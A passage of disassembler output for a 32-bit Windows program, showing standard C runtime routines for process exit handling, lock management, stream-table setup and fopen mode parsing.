		cmp	eax, dword_425FD0
		jbe	short loc_411FA1
		or	eax, 0FFFFFFFFh

loc_411FA1:				; CODE XREF: sub_411F5D+3Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_411F61

loc_411FA8:				; CODE XREF: sub_411F5D+1Cj
					; sub_411F5D+22j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_411F5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FAD	proc near		; CODE XREF: .text:0040E5B9p
					; .text:0040E5DFp ...

arg_0		= dword	ptr  4

		call	sub_413F24
		push	[esp+arg_0]
		call	sub_413D84
		push	off_423930
		call	sub_40F674
		push	0FFh
		call	eax
		add	esp, 0Ch
		retn
sub_411FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FD1	proc near		; CODE XREF: sub_411FF7+4p

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_41E0E8	; GetModuleHandleA
		test	eax, eax
		jz	short locret_411FF6
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:off_41E0F0
		test	eax, eax
		jz	short locret_411FF6
		push	[esp+arg_0]
		call	eax

locret_411FF6:				; CODE XREF: sub_411FD1+Dj
					; sub_411FD1+1Dj
		retn
sub_411FD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FF7	proc near		; CODE XREF: sub_40DC83+34p
					; sub_40E44D+1Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_411FD1
		pop	ecx
		push	[esp+arg_0]
		call	ds:off_41E090
		int	3		; Trap to Debugger
sub_411FF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41200C	proc near		; CODE XREF: sub_40D1CA+Cp
		push	8
		call	sub_40FED7
		pop	ecx
		retn
sub_41200C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412015	proc near		; CODE XREF: sub_40D200p
		push	8
		call	sub_40FDFF
		pop	ecx
		retn
sub_412015	endp


; =============== S U B	R O U T	I N E =======================================



sub_41201E	proc near		; CODE XREF: sub_41215B+78p
					; sub_41215B+88p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_41202E
; ---------------------------------------------------------------------------

loc_412023:				; CODE XREF: sub_41201E+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41202B
		call	eax

loc_41202B:				; CODE XREF: sub_41201E+9j
		add	esi, 4

loc_41202E:				; CODE XREF: sub_41201E+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_412023
		pop	esi
		retn
sub_41201E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412036	proc near		; CODE XREF: sub_4120C9+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		jmp	short loc_41204E
; ---------------------------------------------------------------------------

loc_41203F:				; CODE XREF: sub_412036+1Cj
		test	eax, eax
		jnz	short loc_412054
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_41204B
		call	ecx

loc_41204B:				; CODE XREF: sub_412036+11j
		add	esi, 4

loc_41204E:				; CODE XREF: sub_412036+7j
		cmp	esi, [esp+4+arg_4]
		jb	short loc_41203F

loc_412054:				; CODE XREF: sub_412036+Bj
		pop	esi
		retn
sub_412036	endp


; =============== S U B	R O U T	I N E =======================================



sub_412056	proc near		; CODE XREF: sub_40FF08+12p
					; sub_416DD4+27p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41207E

loc_412061:				; CODE XREF: sub_412056+2Fj
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41207E:				; CODE XREF: sub_412056+9j
		mov	eax, dword_425FD8
		cmp	eax, esi
		jz	short loc_412061
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn
sub_412056	endp


; =============== S U B	R O U T	I N E =======================================



sub_41208D	proc near		; CODE XREF: sub_40FF08+2Dp
					; sub_419654+11Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_4120B5

loc_412098:				; CODE XREF: sub_41208D+2Ej
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4120B5:				; CODE XREF: sub_41208D+9j
		cmp	dword_425FD8, esi
		jz	short loc_412098
		mov	ecx, dword_425FE4
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_41208D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4120C9	proc near		; CODE XREF: .text:0040E5F7p

arg_0		= dword	ptr  4

		cmp	ds:off_41FD60, 0
		jz	short loc_4120EC
		push	offset off_41FD60
		call	sub_416F12
		test	eax, eax
		pop	ecx
		jz	short loc_4120EC
		push	[esp+arg_0]
		call	ds:off_41FD60
		pop	ecx

loc_4120EC:				; CODE XREF: sub_4120C9+7j
					; sub_4120C9+16j
		call	sub_41785E
		push	offset dword_41E2E0
		push	offset dword_41E2C4
		call	sub_412036
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short locret_41215A
		push	esi
		push	edi
		push	offset sub_415321
		call	sub_40D206
		mov	esi, offset dword_41E294
		mov	eax, esi
		mov	edi, offset dword_41E2C0
		cmp	eax, edi
		pop	ecx
		jnb	short loc_412132

loc_412123:				; CODE XREF: sub_4120C9+67j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41212B
		call	eax

loc_41212B:				; CODE XREF: sub_4120C9+5Ej
		add	esi, 4
		cmp	esi, edi
		jb	short loc_412123

loc_412132:				; CODE XREF: sub_4120C9+58j
		cmp	dword_434E18, 0
		pop	edi
		pop	esi
		jz	short loc_412158
		push	offset dword_434E18
		call	sub_416F12
		test	eax, eax
		pop	ecx
		jz	short loc_412158
		push	0
		push	2
		push	0
		call	dword_434E18

loc_412158:				; CODE XREF: sub_4120C9+72j
					; sub_4120C9+81j
		xor	eax, eax

locret_41215A:				; CODE XREF: sub_4120C9+3Bj
		retn
sub_4120C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41215B	proc near		; CODE XREF: sub_412229+8p
					; sub_41223A+8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00412223 SIZE 00000006 BYTES

		push	0Ch
		push	offset dword_421BD0
		call	__SEH_prolog4
		push	8
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		xor	esi, esi
		inc	esi
		cmp	dword_426018, esi
		jz	short loc_4121E9
		mov	dword_426014, esi
		mov	al, byte ptr [ebp+arg_8]
		mov	byte_426010, al
		cmp	[ebp+arg_4], 0
		jnz	short loc_4121D9
		push	dword_434E10
		call	sub_40F674
		mov	edi, eax
		push	dword_434E0C
		call	sub_40F674
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		test	edi, edi
		jz	short loc_4121C9

loc_4121B3:				; CODE XREF: sub_41215B+68j
					; sub_41215B+6Cj
		sub	[ebp+var_1C], 4
		cmp	[ebp+var_1C], edi
		jb	short loc_4121C9
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4121B3
		call	eax
		jmp	short loc_4121B3
; ---------------------------------------------------------------------------

loc_4121C9:				; CODE XREF: sub_41215B+56j
					; sub_41215B+5Fj
		push	offset dword_41E2F0
		mov	eax, offset dword_41E2E4
		call	sub_41201E
		pop	ecx

loc_4121D9:				; CODE XREF: sub_41215B+35j
		push	offset dword_41E2FC
		mov	eax, offset dword_41E2F4
		call	sub_41201E
		pop	ecx

loc_4121E9:				; CODE XREF: sub_41215B+21j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412214
		cmp	[ebp+arg_8], 0
		jnz	short loc_412223
		mov	dword_426018, esi
		push	8
		call	sub_40FDFF
		pop	ecx
		push	[ebp+arg_0]
		call	sub_411FF7
		xor	esi, esi
		inc	esi
sub_41215B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412214	proc near		; CODE XREF: sub_41215B+95p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_412222
		push	8
		call	sub_40FDFF
		pop	ecx

locret_412222:				; CODE XREF: sub_412214+4j
		retn
sub_412214	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41215B

loc_412223:				; CODE XREF: sub_41215B+9Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_41215B

; =============== S U B	R O U T	I N E =======================================



sub_412229	proc near		; CODE XREF: .text:0040E633p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41215B
		add	esp, 0Ch
		retn
sub_412229	endp


; =============== S U B	R O U T	I N E =======================================



sub_41223A	proc near		; CODE XREF: .text:0040E663p
					; sub_417F3C+D9p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41215B
		add	esp, 0Ch
		retn
sub_41223A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41224B	proc near		; CODE XREF: .text:loc_40E638p
		push	1
		push	0
		push	0
		call	sub_41215B
		add	esp, 0Ch
		retn
sub_41224B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41225A	proc near		; CODE XREF: .text:loc_40E668p
		push	1
		push	1
		push	0
		call	sub_41215B
		add	esp, 0Ch
		retn
sub_41225A	endp


; =============== S U B	R O U T	I N E =======================================



sub_412269	proc near		; CODE XREF: sub_40F9B7+C4p
		push	esi
		call	sub_40F66B
		mov	esi, eax
		push	esi
		call	sub_41232D
		push	esi
		call	sub_416DBA
		push	esi
		call	sub_40D218
		push	esi
		call	sub_4180F6
		push	esi
		call	sub_4180EC
		push	esi
		call	sub_417EE2
		push	esi
		call	nullsub_294
		push	esi
		call	sub_416197
		push	offset sub_41223A
		call	sub_40F608
		add	esp, 24h
		mov	off_423930, eax
		pop	esi
		retn
sub_412269	endp


; =============== S U B	R O U T	I N E =======================================



sub_4122B5	proc near		; CODE XREF: sub_40D222+CEp
					; sub_40D31E+18p ...
		and	dword_434E04, 0
		retn
sub_4122B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4122BD	proc near		; CODE XREF: sub_40D3D2+7p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421BF0
		call	__SEH_prolog4
		push	0Eh
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_41230E
		mov	eax, dword_426020
		mov	edx, offset dword_42601C

loc_4122E9:				; CODE XREF: sub_4122BD+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_412301
		cmp	[eax], ecx
		jnz	short loc_412320
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_412301:				; CODE XREF: sub_4122BD+31j
		push	dword ptr [esi+4]
		call	sub_40DBA6
		pop	ecx
		and	dword ptr [esi+4], 0

loc_41230E:				; CODE XREF: sub_4122BD+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412324
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_412320:				; CODE XREF: sub_4122BD+35j
		mov	edx, eax
		jmp	short loc_4122E9
sub_4122BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412324	proc near		; CODE XREF: sub_4122BD+58p
					; DATA XREF: ev73vtp2:00421C08o
		push	0Eh
		call	sub_40FDFF
		pop	ecx
		retn
sub_412324	endp


; =============== S U B	R O U T	I N E =======================================



sub_41232D	proc near		; CODE XREF: sub_412269+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_426024, eax
		retn
sub_41232D	endp


; =============== S U B	R O U T	I N E =======================================



sub_412337	proc near		; CODE XREF: .text:0040D43Bp
					; sub_40DC83+8Cp ...

arg_0		= dword	ptr  4

		push	dword_426024
		call	sub_40F674
		test	eax, eax
		pop	ecx
		jz	short loc_412356
		push	[esp+arg_0]
		call	eax ; sub_41DB53
		test	eax, eax
		pop	ecx
		jz	short loc_412356
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_412356:				; CODE XREF: sub_412337+Ej
					; sub_412337+19j
		xor	eax, eax
		retn
sub_412337	endp


; =============== S U B	R O U T	I N E =======================================



sub_412359	proc near		; CODE XREF: sub_410CB6+76p
					; sub_410CB6+82p ...
		mov	eax, offset off_423938
		retn
sub_412359	endp


; =============== S U B	R O U T	I N E =======================================



sub_41235F	proc near		; DATA XREF: ev73vtp2:0041E2C8o
		mov	eax, dword_434E00
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_412373
		mov	eax, 200h
		jmp	short loc_412379
; ---------------------------------------------------------------------------

loc_412373:				; CODE XREF: sub_41235F+Bj
		cmp	eax, esi
		jge	short loc_41237E
		mov	eax, esi

loc_412379:				; CODE XREF: sub_41235F+12j
		mov	dword_434E00, eax

loc_41237E:				; CODE XREF: sub_41235F+16j
		push	4
		push	eax
		call	sub_411ECA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_433DE0, eax
		jnz	short loc_4123AF
		push	4
		push	esi
		mov	dword_434E00, esi
		call	sub_411ECA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_433DE0, eax
		jnz	short loc_4123AF
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123AF:				; CODE XREF: sub_41235F+30j
					; sub_41235F+49j
		xor	edx, edx
		mov	ecx, offset off_423938
		jmp	short loc_4123BD
; ---------------------------------------------------------------------------

loc_4123B8:				; CODE XREF: sub_41235F+6Dj
		mov	eax, dword_433DE0

loc_4123BD:				; CODE XREF: sub_41235F+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_423BB8
		jl	short loc_4123B8
		push	0FFFFFFFEh
		pop	esi
		xor	edx, edx
		mov	ecx, offset dword_423948
		push	edi

loc_4123D9:				; CODE XREF: sub_41235F+AAj
		mov	edi, edx
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		mov	eax, [edi+eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4123FD
		cmp	eax, esi
		jz	short loc_4123FD
		test	eax, eax
		jnz	short loc_4123FF

loc_4123FD:				; CODE XREF: sub_41235F+94j
					; sub_41235F+98j
		mov	[ecx], esi

loc_4123FF:				; CODE XREF: sub_41235F+9Cj
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4239A8
		jl	short loc_4123D9
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_41235F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412410	proc near		; DATA XREF: ev73vtp2:0041E2E8o
		call	sub_41302C
		cmp	byte_426010, 0
		jz	short loc_412423
		call	sub_418100

loc_412423:				; CODE XREF: sub_412410+Cj
		push	dword_433DE0
		call	sub_40DBA6
		pop	ecx
		retn
sub_412410	endp


; =============== S U B	R O U T	I N E =======================================



sub_412430	proc near		; CODE XREF: sub_40D7AA+4Fp
					; sub_40DA67+50p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423938
		cmp	eax, ecx
		jb	short loc_412454
		cmp	eax, offset dword_423B98
		ja	short loc_412454
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_40FED7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_412454:				; CODE XREF: sub_412430+Bj
					; sub_412430+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41E168	; RtlEnterCriticalSection
		retn
sub_412430	endp


; =============== S U B	R O U T	I N E =======================================



sub_41245F	proc near		; CODE XREF: sub_412776+66p
					; sub_412F52+46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_412473
		add	eax, 10h
		push	eax
		call	sub_40FED7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_412473:				; CODE XREF: sub_41245F+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41E168	; RtlEnterCriticalSection
		retn
sub_41245F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412482	proc near		; CODE XREF: sub_40D78D+3p
					; sub_40D8EF+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423938
		cmp	eax, ecx
		jb	short loc_4124A6
		cmp	eax, offset dword_423B98
		ja	short loc_4124A6
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_40FDFF
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4124A6:				; CODE XREF: sub_412482+Bj
					; sub_412482+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41E16C	; RtlLeaveCriticalSection
		retn
sub_412482	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124B1	proc near		; CODE XREF: sub_412776+7Dp
					; sub_412FF4+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_4124C5
		add	eax, 10h
		push	eax
		call	sub_40FDFF
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4124C5:				; CODE XREF: sub_4124B1+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41E16C	; RtlLeaveCriticalSection
		retn
sub_4124B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124D4	proc near		; CODE XREF: sub_40D6D3+9Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_4264E4
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_4124F5
; ---------------------------------------------------------------------------

loc_4124F4:				; CODE XREF: sub_4124D4+24j
		inc	esi

loc_4124F5:				; CODE XREF: sub_4124D4+1Ej
		cmp	byte ptr [esi],	20h
		jz	short loc_4124F4
		mov	al, [esi]
		cmp	al, 61h
		jz	short loc_412539
		cmp	al, 72h
		jz	short loc_412530
		cmp	al, 77h
		jz	short loc_412527
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		xor	eax, eax
		jmp	loc_412772
; ---------------------------------------------------------------------------

loc_412527:				; CODE XREF: sub_4124D4+32j
		mov	[ebp+arg_4], 301h
		jmp	short loc_412540
; ---------------------------------------------------------------------------

loc_412530:				; CODE XREF: sub_4124D4+2Ej
		or	[ebp+var_4], 1
		mov	[ebp+arg_4], ebx
		jmp	short loc_412544
; ---------------------------------------------------------------------------

loc_412539:				; CODE XREF: sub_4124D4+2Aj
		mov	[ebp+arg_4], 109h

loc_412540:				; CODE XREF: sub_4124D4+5Aj
		or	[ebp+var_4], 2

loc_412544:				; CODE XREF: sub_4124D4+63j
		xor	ecx, ecx
		inc	ecx
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		push	edi
		jz	loc_41270C
		mov	edx, 80h
		mov	edi, 4000h

loc_41255D:				; CODE XREF: sub_4124D4+1B6j
		cmp	ecx, ebx
		jz	loc_412690
		movsx	eax, al
		cmp	eax, 53h
		jg	loc_412613
		jz	loc_412601
		sub	eax, 20h
		jz	loc_412685
		sub	eax, 0Bh
		jz	short loc_4125DB
		dec	eax
		jz	short loc_4125CF
		sub	eax, 18h
		jz	short loc_4125BC
		sub	eax, 0Ah
		jz	short loc_4125B4
		sub	eax, 4
		jnz	loc_412715
		cmp	[ebp+var_8], ebx
		jnz	loc_41267A
		or	[ebp+arg_4], 10h
		mov	[ebp+var_8], 1
		jmp	loc_412685
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_4124D4+BCj
		or	[ebp+arg_4], edx
		jmp	loc_412685
; ---------------------------------------------------------------------------

loc_4125BC:				; CODE XREF: sub_4124D4+B7j
		test	byte ptr [ebp+arg_4], 40h
		jnz	loc_41267A
		or	[ebp+arg_4], 40h
		jmp	loc_412685
; ---------------------------------------------------------------------------

loc_4125CF:				; CODE XREF: sub_4124D4+B2j
		mov	[ebp+var_10], 1
		jmp	loc_41267A
; ---------------------------------------------------------------------------

loc_4125DB:				; CODE XREF: sub_4124D4+AFj
		test	byte ptr [ebp+arg_4], 2
		jnz	loc_41267A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFFFFEh
		or	eax, 2
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFFFFCh
		or	eax, edx
		mov	[ebp+var_4], eax
		jmp	loc_412685
; ---------------------------------------------------------------------------

loc_412601:				; CODE XREF: sub_4124D4+9Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41267A
		or	[ebp+arg_4], 20h
		mov	[ebp+var_8], 1
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_412613:				; CODE XREF: sub_4124D4+97j
		sub	eax, 54h
		jz	short loc_412672
		sub	eax, 0Eh
		jz	short loc_412661
		dec	eax
		jz	short loc_412650
		sub	eax, 0Bh
		jz	short loc_41263B
		sub	eax, 6
		jnz	loc_412715
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_41267A
		or	[ebp+arg_4], edi
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4124D4+14Fj
		cmp	[ebp+var_C], ebx
		jnz	short loc_41267A
		and	[ebp+var_4], 0FFFFBFFFh
		mov	[ebp+var_C], 1
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_412650:				; CODE XREF: sub_4124D4+14Aj
		cmp	[ebp+var_C], ebx
		jnz	short loc_41267A
		or	[ebp+var_4], edi
		mov	[ebp+var_C], 1
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_412661:				; CODE XREF: sub_4124D4+147j
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_41267A
		or	[ebp+arg_4], 8000h
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_412672:				; CODE XREF: sub_4124D4+142j
		test	word ptr [ebp+arg_4], 1000h
		jz	short loc_41267E

loc_41267A:				; CODE XREF: sub_4124D4+CAj
					; sub_4124D4+ECj ...
		xor	ecx, ecx
		jmp	short loc_412685
; ---------------------------------------------------------------------------

loc_41267E:				; CODE XREF: sub_4124D4+1A4j
		or	[ebp+arg_4], 1000h

loc_412685:				; CODE XREF: sub_4124D4+A6j
					; sub_4124D4+DBj ...
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		jnz	loc_41255D

loc_412690:				; CODE XREF: sub_4124D4+8Bj
		cmp	[ebp+var_10], ebx
		jz	short loc_41270C
		jmp	short loc_412698
; ---------------------------------------------------------------------------

loc_412697:				; CODE XREF: sub_4124D4+1C7j
		inc	esi

loc_412698:				; CODE XREF: sub_4124D4+1C1j
		cmp	byte ptr [esi],	20h
		jz	short loc_412697
		push	4
		push	esi
		push	offset aCcs	; "ccs="
		call	sub_418C5D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412715
		add	esi, 4
		push	offset aUtf8	; "UTF-8"
		push	esi
		call	sub_418AE1
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4126D1
		add	esi, 5
		or	[ebp+arg_4], 40000h
		jmp	short loc_41270C
; ---------------------------------------------------------------------------

loc_4126D1:				; CODE XREF: sub_4124D4+1EFj
		push	offset aUtf16le	; "UTF-16LE"
		push	esi
		call	sub_418AE1
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4126EE
		add	esi, 8
		or	[ebp+arg_4], 20000h
		jmp	short loc_41270C
; ---------------------------------------------------------------------------

loc_4126EE:				; CODE XREF: sub_4124D4+20Cj
		push	offset aUnicode	; "UNICODE"
		push	esi
		call	sub_418AE1
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_412715
		add	esi, 7
		or	[ebp+arg_4], 10000h
		jmp	short loc_41270C
; ---------------------------------------------------------------------------

loc_41270B:				; CODE XREF: sub_4124D4+23Bj
		inc	esi

loc_41270C:				; CODE XREF: sub_4124D4+79j
					; sub_4124D4+1BFj ...
		cmp	byte ptr [esi],	20h
		jz	short loc_41270B
		cmp	[esi], bl
		jz	short loc_41272F

loc_412715:				; CODE XREF: sub_4124D4+C1j
					; sub_4124D4+154j ...
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_41274D
; ---------------------------------------------------------------------------

loc_41272F:				; CODE XREF: sub_4124D4+23Fj
		push	180h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4188A9
		add	esp, 14h
		test	eax, eax
		jz	short loc_412751

loc_41274D:				; CODE XREF: sub_4124D4+259j
		xor	eax, eax
		jmp	short loc_412771
; ---------------------------------------------------------------------------

loc_412751:				; CODE XREF: sub_4124D4+277j
		mov	eax, [ebp+arg_C]
		inc	dword_426028
		mov	ecx, [ebp+var_4]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_412771:				; CODE XREF: sub_4124D4+27Bj
		pop	edi

loc_412772:				; CODE XREF: sub_4124D4+4Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_4124D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412776	proc near		; CODE XREF: sub_40D6D3+54p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421C10
		call	__SEH_prolog4
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi

loc_412796:				; CODE XREF: sub_412776+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_434E00
		jge	loc_412866
		mov	eax, dword_433DE0
		lea	eax, [eax+esi*4]
		cmp	[eax], ebx
		jz	short loc_412801
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_4127FA
		lea	eax, [esi-3]
		cmp	eax, 10h
		ja	short loc_4127D3
		lea	eax, [esi+10h]
		push	eax
		call	sub_40FE14
		pop	ecx
		test	eax, eax
		jz	loc_412866

loc_4127D3:				; CODE XREF: sub_412776+49j
		mov	eax, dword_433DE0
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_41245F
		pop	ecx
		pop	ecx
		mov	eax, dword_433DE0
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4127FD
		push	eax
		push	esi
		call	sub_4124B1
		pop	ecx
		pop	ecx

loc_4127FA:				; CODE XREF: sub_412776+41j
		inc	esi
		jmp	short loc_412796
; ---------------------------------------------------------------------------

loc_4127FD:				; CODE XREF: sub_412776+79j
		mov	edi, eax
		jmp	short loc_412863
; ---------------------------------------------------------------------------

loc_412801:				; CODE XREF: sub_412776+39j
		shl	esi, 2
		push	38h
		call	sub_411E8A
		pop	ecx
		mov	ecx, dword_433DE0
		mov	[esi+ecx], eax
		mov	eax, dword_433DE0
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_412866
		push	0FA0h
		mov	eax, [eax]
		add	eax, 20h
		push	eax
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_433DE0
		jnz	short loc_41284E
		push	dword ptr [esi+eax]
		call	sub_40DBA6
		pop	ecx
		mov	eax, dword_433DE0
		mov	[esi+eax], ebx
		jmp	short loc_412866
; ---------------------------------------------------------------------------

loc_41284E:				; CODE XREF: sub_412776+C3j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41E168	; RtlEnterCriticalSection
		mov	eax, dword_433DE0
		mov	edi, [esi+eax]

loc_412863:				; CODE XREF: sub_412776+89j
		mov	[ebp+var_1C], edi

loc_412866:				; CODE XREF: sub_412776+29j
					; sub_412776+57j ...
		cmp	edi, ebx
		jz	short loc_41287C
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh

